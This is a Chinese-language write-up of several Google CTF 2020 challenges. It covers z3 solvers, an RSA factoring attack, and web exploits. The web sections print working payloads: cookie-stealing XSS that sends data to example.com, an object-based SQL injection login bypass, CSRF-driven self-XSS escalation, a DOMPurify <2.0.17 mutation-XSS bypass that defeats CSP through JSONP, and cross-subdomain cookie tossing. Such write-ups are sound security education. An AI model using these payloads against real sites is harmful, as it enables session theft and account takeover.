Google CTF 2020 WriteUps
解 Google CTF 2020 的部分題目的 WriteUps。
hardware#
BASICS#
打開來有個 cpp 檔和 Verilog 的 sv 檔,雖然沒學過 Verilog 但還是直接讀讀看,會發現兩個結合就是用某些方法判斷輸入是不是符合某種規則,最後產生出個結果,所以一樣 z3 爆破出所有的解:
from z3 import *
def solve(l):
try:
data = [BitVec(f'd_{i}', 7) for i in range(l)]
memory = [None]*8
s = Solver()
idx = 0
for i in range(l):
memory[idx] = data[i]
idx = (idx+5) % 8
magic = Concat(memory[0], memory[5], memory[6], memory[2],
memory[4], memory[3], memory[7], memory[1])
kittens = Concat(Extract(9, 0, magic), Extract(41, 22, magic),
Extract(21, 10, magic), Extract(55, 42, magic))
s.add(kittens == 3008192072309708)
if s.check() == sat:
m = s.model()
return ''.join([chr(m[d].as_long()) if m[d] != None else '*' for d in data])
return None
except Z3Exception:
return None
for i in range(1, 100):
r = solve(i)
if r != None:
print(i, r)
crypto#
CHUNK NORRIS#
這題的 p 和 q 都是由一個偽隨機數產生器所生成的,所以可以把它們用下面的方式寫出:
p=s∥as∥⋯∥a15sq=k∥ak∥⋯∥a15k其中的乘法運算都是在 Z264 中進行的,然後再把每個 64 bits 的 chunk 接起來。
兩個相乘之後的可以發現最後一個 chunk 是 a30sk,而第一個 chunk 可能是 sk 或 sk+1,因此有辦法從 n 還原出 sk,然後再暴力找出 s 和 k 就能分解了。
from sage.all import divisors
from Crypto.Util.number import long_to_bytes
n = 0xAB802DCA026B18251449BAECE42BA2162BF1F8F5DDA60DA5F8BAEF3E5DD49D155C1701A21C2BD5DFEE142FD3A240F429878C8D4402F5C4C7F4BC630C74A4D263DB3674669A18C9A7F5018C2F32CB4732ACF448C95DE86FCD6F312287CEBFF378125F12458932722CA2F1A891F319EC672DA65EA03D0E74E7B601A04435598E2994423362EC605EF5968456970CB367F6B6E55F9D713D82F89ACA0B633E7643DDB0EC263DC29F0946CFC28CCBF8E65C2DA1B67B18A3FBC8CEE3305A25841DFA31990F9AAB219C85A2149E51DFF2AB7E0989A50D988CA9CCDCE34892EB27686FA985F96061620E6902E42BDD00D2768B14A9EB39B3FEEE51E80273D3D4255F6B19
e = 0x10001
c = 0x6A12D56E26E460F456102C83C68B5CF355B2E57D5B176B32658D07619CE8E542D927BBEA12FB8F90D7A1922FE68077AF0F3794BFD26E7D560031C7C9238198685AD9EF1AC1966DA39936B33C7BB00BDB13BEC27B23F87028E99FDEA0FBEE4DF721FD487D491E9D3087E986A79106F9D6F5431522270200C5D545D19DF446DEE6BAA3051BE6332AD7E4E6F44260B1594EC8A588C0450BCC8F23ABB0121BCABF7551FD0EC11CD61C55EA89AE5D9BCC91F46B39D84F808562A42BB87A8854373B234E71FE6688021672C271C22AAD0887304F7DD2B5F77136271A571591C48F438E6F1C08ED65D0088DA562E0D8AE2DADD1234E72A40141429F5746D2D41452D916
a = 0xE64A5F84E2762BE5
chunk_size = 64
md = 2 ** chunk_size
def gen_s(s, bits):
p = 0
for _ in range(bits // chunk_size):
p = (p << chunk_size) + s
s = (a * s) % md
return p
sk_low = (n * pow(a, -30, md)) % md
sk_high = n >> (64 * 31)
sk_high -= 1 # Might overflow to highest chunk
sk = sk_high * md + sk_low
print(hex(sk))
for d in divisors(sk):
p = gen_s(int(d), 1024)
if n % p == 0:
q = n // p
d = pow(e, -1, (p - 1) * (q - 1))
print(long_to_bytes(pow(c, d, n)))
exit()
reversing#
BEGINNER#
打開來看到它對輸入做一些 SIMD 的運算,然後最後把結果和輸入比較是否相等而已。這種題目直覺就是想到要用 z3 解,不過要先懂那些運算在做什麼才行: pshufb paddd pxor
利用它下面的虛擬碼看懂那些運算在做什麼之後就能寫出解的腳本了:
from z3 import *
SHUFFLE = [0x02, 0x06, 0x07, 0x01, 0x05, 0x0B, 0x09,
0x0E, 0x03, 0x0F, 0x04, 0x08, 0x0A, 0x0C, 0x0D, 0x00]
ADD = [0xDEADBEEF, 0xFEE1DEAD, 0x13371337, 0x67637466]
XOR = [0x49B45876, 0x385F1A8D, 0x34F823D4, 0xAAF986EB]
flag = [BitVec(f'f_{i}', 8) for i in range(16)]
s = Solver()
# pshufb
shuffled = [flag[SHUFFLE[i]] for i in range(16)]
# paddd & pxor
a = (Concat(*shuffled[0:4][::-1])+ADD[0]) ^ XOR[0]
b = (Concat(*shuffled[4:8][::-1])+ADD[1]) ^ XOR[1]
c = (Concat(*shuffled[8:12][::-1])+ADD[2]) ^ XOR[2]
d = (Concat(*shuffled[12:16][::-1])+ADD[3]) ^ XOR[3]
for i in range(4):
s.add(flag[i] == Extract((i+1)*8-1, i*8, a))
s.add(flag[4+i] == Extract((i+1)*8-1, i*8, b))
s.add(flag[8+i] == Extract((i+1)*8-1, i*8, c))
s.add(flag[12+i] == Extract((i+1)*8-1, i*8, d))
assert(s.check() == sat)
m = s.model()
for f in flag:
print(chr(m[f].as_long()), end='')
web#
PASTEURIZE#
這是個類似 pastebin 的服務,還支援一個奇怪的 share with TJMike🎤
按鈕,然後你可以檢視原始碼發現到它的註解有寫說有 XSS 的 bug,還有個 /source
的 url。瀏覽 /source
可以看到它的後端程式碼,用 node.js 的 express 寫的。
接下來看它的程式過濾 XSS 的地方是用下方的程式碼處裡的,之後插入到 JS 的 string literal 裡面,之後再用 DOMPurify 處裡。
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
.replace(/</g, '\\x3C').replace(/>/g, '\\x3E');
因為有 DOMPurify 的緣故,所以想在 HTML 側 Injection 不容易,改為考慮能不能在 JS 側注入。而這個的關鍵是 unsafe
如果是 string 我們就沒辦法了,但是如果不是的話就好玩了。
它上面的 bodyParser 使用的是 extended 模式,不只是單純的 query string parsing,還支援 php 那種 param[]=1
會讓 $_GET['param']
變成陣列的功能。
所以把 form 的 name 改成 content[]
,然後內容打上 ; alert() //
就會成功注入了,因為它的 json 會變成 ["; alert() //"]
,去頭尾後塞到 JS 字串裡面會變成 ""; alert() //"
。
所以自己想辦法用個 server 接收 request,payload 就讓去拿對方的 cookie 看看,像是:
fetch('https://example.com/?cookie=' + encodeURIComponent(document.cookie))
之後在 cookie 的地方就能看到 flag 了。
LOG-ME-IN#
這題一樣是 express,目標是登入 michelle 的帳號,然後看到它 bodyParser 一樣也是有開 extended,所以大概也和 query string 有關。看它取登入的 parameter 的地方就只有送 mysql 的地方而已,不過它有用 parameterized query,所以沒辦法 injection。
不過仔細想想,它的程式碼是向下面這樣,如果利用和上一題一樣的技巧,讓 u
和 p
不再是字串的話會發生什麼事?
const u = req.body['username']
const p = req.body['password']
const sql = 'Select * from users where username = ? and password = ?'
con.query(sql, [u, p], callback)
所以我就去讀了一下 mysql 的程式碼,然後它裡面處裡這部分的程式碼是在 sqlstring 這邊,然後看它的幾個 example 會發現它本身就有支援 object。然後因為好奇它的行為就自己裝來測試看看:
const qs = require('qs')
const { username: u, password: p } = qs.parse('username=1&password[a]=2')
console.log(u, p)
const sqlstring = require('sqlstring')
console.log(sqlstring.format("select * from user where username=? and password=?", [u, p]))
// output: select * from user where username='1' and password=`a` = '2'
這樣就發現它居然就成功 injection 進去了,然後因為我們的目標是要讓它登入成功,就要讓後面整個 condition 變成 true,前面 username 可以設 michelle
,然後後面的話因為那個 a
是 column 名稱,所以我們可以把它換成 username
或是 password
,然後值就看它是 true 還是 false 就好了。
所以最後的 payload 不管是 username=michelle&password[password]=1
還是 username=michelle&password[username]=0
都可以。
TECH SUPPORT#
可以很容易的發現說 /me
的 address 有 xss,但是這個是單純的 self xss 而已。而 chat 頁面也是有 xss,只是會發現它的 xss 域名在另一個 domain 之下 typeselfsub-support.web.ctfcompetition.com
。
因為是不同的 subdmain,我們可以透過 CSRF 做點事情。我最初的想法是透過修改 bot 的 /me
上面的 address 做 xss,不過後來發現不知為何都沒用,大概是 bot 的帳號有限制說不能改 address 吧。
之後可以發現到另一個 CSRF 的點是 /login
,登入之後會自動 redirect 到 /me
,所以如果能先在自己帳號的 /me
下布置好 xss,讓 bot 用 CSRF 登入自己的帳號就能把 self xss 的效果弄到 bot 去了。
不過這題沒這麼簡單,很快就會發現 bot 登入自己的帳號後再去 fetch /flag
是沒用的,因為 login 就修改了 cookie,所以取得到的 /flag
內容會和自己所看到的 flag 內容相同。
後來去看別人的作法是利用 iframe,一個先在登入自己的帳號前載入 /flag
,然後載入完之後用另一個 iframe 去 CSRF 登入自己的帳號並觸發 xss,而 xss 的 payload 就是利用 iframe 的層級去讀 /flag
的 html 就能成功了。之所以這樣能成功的原因是觸發 xss 的頁面和 /flag
是同個 origin。
xss payload:
<script>
location.href="https://example.com/?report="+btoa(parent[0].document.body.textContent)
</script>
CSRF payload generation (不用自己設一個頁面):
const reason=`<iframe src="https://typeselfsub.web.ctfcompetition.com/flag" id=flag></iframe>
<iframe id=login srcdoc='
<form action="https://typeselfsub.web.ctfcompetition.com/login" method=POST id=f>
<input value="ACCOUNT" name="username">
<input value="PASSWORD" name="password">
</form>
'></iframe>
<img src=1 onerror="flag.onload=()=>login.contentWindow.f.submit()">
<!-- 改變 innerHTML 不會直接觸發 <script>,但是 img 的 callback 還是會被觸發 -->
`
console.log(encodeURIComponent(reason)) // 注意 chat 頁面的程式碼沒幫你 encode...
CSRF payload generation (自己設一個頁面的版本):
https://example.com/abc.html
:
<iframe src="https://typeselfsub.web.ctfcompetition.com/flag" id=flag></iframe>
<iframe id=login srcdoc='
<form action="https://typeselfsub.web.ctfcompetition.com/login" method=POST id=f>
<input value="ACCOUNT" name="username">
<input value="PASSWORD" name="password">
</form>
'></iframe>
<script>
flag.onload=()=>login.contentWindow.f.submit()
</script>
然後用這個產生 payload:
const reason=`<img src=1 onerror="location.href='https://example.com/abc.html'">`
console.log(encodeURIComponent(reason))
非預期解(?)#
這個是從其他人的 WriteUps 看到的特殊解法,方法是利用 xss bot 的性質。因為一般來說 xss bot 的設置方法是讓它瀏覽一個頁面,上面會設些需要的 cookie,然後再去瀏覽真正要 xss 的頁面。這時候設置 cookie 的頁面是在當前頁面的前一頁,如果有辦法取得設置 cookie 的網址且 xss bot 沒設計好的話是有辦法直接自己獲得需要的那些 cookie。
而這題的方法也很簡單,就是利用 document.referrer
取得前一頁的網址,然後傳到自己的 server 就好了。
const reason=`<img src=1 onerror="location.href='https://example.com/?report='+document.referrer"/>`
console.log(encodeURIComponent(reason))
之後直接自己用瀏覽器瀏覽得到的網址就能成功登入拿到 flag。
BTW, 可以自己測試修改
/me
的 address 會失敗,大概是這個題目的額外限制
ALL THE LITTLE THINGS#
題目基本上是個 note 系統,可以讓你以 private 和 public mode 發表 note,前者會在 littlethings.web.ctfcompetition.com
的網域上出現,後者則是會轉到題目 PASTEURIZE 的網域 pasteurize.web.ctfcompetition.com
出現。
用 public 模式很容易觸發 xss,但是對解這題沒幫助,而在 private 模式所發的 note 會經過 DOMPurify 過濾,還有額外的 CSP 保護:
default-src 'none';script-src 'self' 'nonce-b87b3cc05d4fb332';img-src https: http:;connect-src 'self';style-src 'self';base-uri 'none';form-action 'self';font-src https://fonts.googleapis.com
而 /settings
頁面則有讓你改 username, profile picture 和 theme 的功能,這部分的實現是透過存資料在 session 中,然後透過一個腳本去 fetch /me
取得資料,之後做一些處裡後會呼叫 /theme?cb=set_light_theme
之類的 jsonp 做 callback 來設定主題。
經過一些尋找後可以在 /settings
頁面的註解發現說它有個 debug 模式,加上 ?__debug__
之後會載入一個特殊的 debug 腳本,而別人的一般解法也都是利用這個做為出發點的。不過我這題是用了另一種解法去處理,所以用不到這個。
利用 DOMPurify 舊版本的漏洞達成 XSS (< 2.0.17)#
我用的是 DOMPurify 在 < 2.0.17 的版本有個方法去繞過 filter,原理詳見 Mutation XSS via namespace confusion – DOMPurify < 2.0.17 bypass,簡單的 payload 為:
<form>
<math><mtext>
</form><form>
<mglyph>
<style></math><img src onerror=alert(1)>
直接使用的話因為有 CSP 的關係,alert(1)
並不會有效果出來。這時我的第一個想法是看看能不能用 DOM clobbering 把 document[USERNAME].theme.cb
的值換成自己的 string,不過一直試都不是很成功。(或許用 iframe
可以做到吧...)
不過雖然直接這樣弄無效,但直接把 payload 的 img
換成 <iframe srcdoc='<script src=/theme?cb=alert>'></iframe>
倒是有效果出來。(這邊用 iframe
的 srcdoc
是因為改 innerHTML
時插入的 script
並不會被執行,需要用 iframe
)
之後再測試一下 jsonp 的 callback 可以塞什麼就會發現到只要不是 A-Za-z0-9\.=
的符號都會被移除掉,所以沒辦法直接達成 function call。不過這其實也是能利用的一個點了,在有 .
和 =
能用的情況下就已經能做不少事情了。
例如: /theme?cb=location.href=parent.document.my_element.textContent.valueOf
可以生成 location.href=parent.document.my_element.textContent.valueOf({ /* 不能控制的 object */ })
再來是字串的相加可以用 dom 的性質達成,像是在有 <span id=text><span id=a>https://example.com/?data=</span><span id=b></span></span>
的情況下可以用 parent.b=parent.some_data
和 location.href=parent.text
結合,這樣就能連接出字串了。
然後接下來可以利用這些功能去結合使用可以湊出新的 iframe
和 script
,然後 nouce
也能簡單的搞定,例如下面的 payload 可以 alert("C8763")
,把那段 code 改成其他的 js 就能回傳 data 了。
<span id=text><span id=a><iframe srcdoc='<script nonce=</span><span id=b></span><span id=c>>alert("C8763")</script>'></iframe></span></span>
<form>
<math><mtext>
</form><form>
<mglyph>
<style></math><iframe srcdoc='
<script src=/theme?cb=parent.b.textContent=parent.document.body.lastElementChild.nonce.valueOf></script>
<script src=/theme?cb=parent.document.body.innerHTML=parent.text.textContent.valueOf></script>
'></iframe>
不過在回傳的時候要注意一下一樣有 CSP 的問題,直接 fetch
是不行的,但是可以靠 img
給的例外去繞過,像是下方的 payload 可以把 /note
的內容回傳到自己的 server。
<span id=text><span id=a><iframe srcdoc='<img id=img><script nonce=</span><span id=b></span><span id=c>>fetch("/note").then(r=>r.text()).then(x=>img.src="https://example.com?data="+encodeURIComponent(x))</script>'></iframe></span></span>
<form>
<math><mtext>
</form><form>
<mglyph>
<style></math><iframe srcdoc='
<script src=/theme?cb=parent.b.textContent=parent.document.body.lastElementChild.nonce.valueOf></script>
<script src=/theme?cb=parent.document.body.innerHTML=parent.text.textContent.valueOf></script>
'></iframe>
Self-XSS To XSS#
這樣達成 Self-XSS 之後要想辦法讓 xss bot 能用到這個頁面才行,但是這題只能用前面 PASTEURIZE 題目的 bot 來做。困難點是把 bot 引導到有 Self-XSS 的頁面來,但是它的頁面卻是需要登入才能看到的,所以需要修改 bot 的 session 成自己的 session,而且還要使它看到 /note
的時候還是原本它的 note list。
這題不像 TECH SUPPORT 一樣能直接 csrf,因為登入頁有 csrf token。不過由於 domain 分別是 littlethings.web.ctfcompetition.com
和 pasteurize.web.ctfcompetition.com
,可以用 document.cookie='a=b;domain=web.ctfcompetition.com'
的方法去修改,而要讓 /note
還是保持原本的內容的話就加上 ;path=/note/self_xss_note_uuid
的限制就可以了。
所以就對 PASTEURIZE 用一樣的形式去 XSS,然後給 bot 修改完 cookie 之後 redirect 過去就好了: content[]=; /* script here */ //
範例(要記得 escape):
set=function(x){document.cookie=x+';domain=web.ctfcompetition.com;path=/note/self_xss_note_uuid'};set('session.sig=value');set('session=value');location.href='TARGET_PAGE'
取得 note 頁面的內容之後可以得到目標的 uuid,再創一個新的 note 去 fetch 那個頁面並再做一次就能拿到 flag 了。
利用 window.name
達成 XSS#
TBD...
解完之後會看到它有提供一個延伸的版本,不過如果是用 DOMPurify 的繞過的話應該能用一樣的方法解開: https://fixedthings-vwatzbndzbawnsfs.web.ctfcompetition.com